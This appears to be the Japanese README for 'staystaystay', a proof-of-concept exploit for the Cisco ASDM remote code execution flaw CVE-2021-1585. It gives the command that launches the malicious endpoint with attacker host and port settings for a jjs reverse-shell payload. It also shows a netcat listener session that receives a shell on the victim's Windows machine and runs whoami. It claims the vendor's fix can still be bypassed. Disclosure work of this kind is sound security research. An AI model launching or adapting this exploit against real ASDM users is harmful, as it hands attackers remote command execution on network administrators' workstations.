
CVE-2021-1585 の概念実証: Cisco ASA Device Manager RCE
staystaystay は、CVE-2021-1585 の概念実証エクスプロイトです。これは、Cisco ASA Device Manager (ASDM) に影響する中間者攻撃または悪意のあるエンドポイントによる RCE の問題です。この問題は元々 Malcolm Lashley によって発見され、2021 年の夏に公開されました。ただし、私がこれを調査していた時点では、最新バージョン (ASDM 7.17(1)) にはパッチが適用されておらず、私は独自にこの問題にたどり着きました。
Cisco は ASDM 7.18(1.152) でこれを「修正」しました。このエクスプロイトが依然として問題なく動作するため、私が「修正」と言うのはそういう意味です。ユーザーは「はい」をクリックするだけで済みます。以下のビデオを参照してください。
攻撃者は、被害者へのリバースシェルを取得するために、次の 2 種類のペイロードを構成できます。
被害者が自分の ASDM を staystaystay に接続すると、構成されたペイロードが注入され、リバースシェルが生成されます。jjs リバースシェルは、標準的な nc リスナー (必要に応じて Metasploit でも) で受け取ることができます。Longtime Sunshine オプションを使用するには、攻撃者がそのフレームワークを使用する必要があります。
例として、次のコマンドは jjs ペイロードを使用してポート 8443 で staystaystay を起動します。
./staystaystay -j --lhost 10.0.0.2 --lport 1270 --https_port 8443
被害者が 8443 に接続すると、10.0.0.2:1270 へのリバースシェルが生成されます。
albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.26 50283
Microsoft Windows [Version 10.0.19042.1645]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files (x86)\Cisco Systems\ASDM>whoami
whoami
desktop-1hug9pt\albinolobster
C:\Program Files (x86)\Cisco Systems\ASDM>
次のビデオには、Longtime Sunshine を使用したエクスプロイトの例が含まれています。
次のビデオは、パッチ適用済みバージョンに対する攻撃を示しています。
AttackerKB の記事はこちらにあります。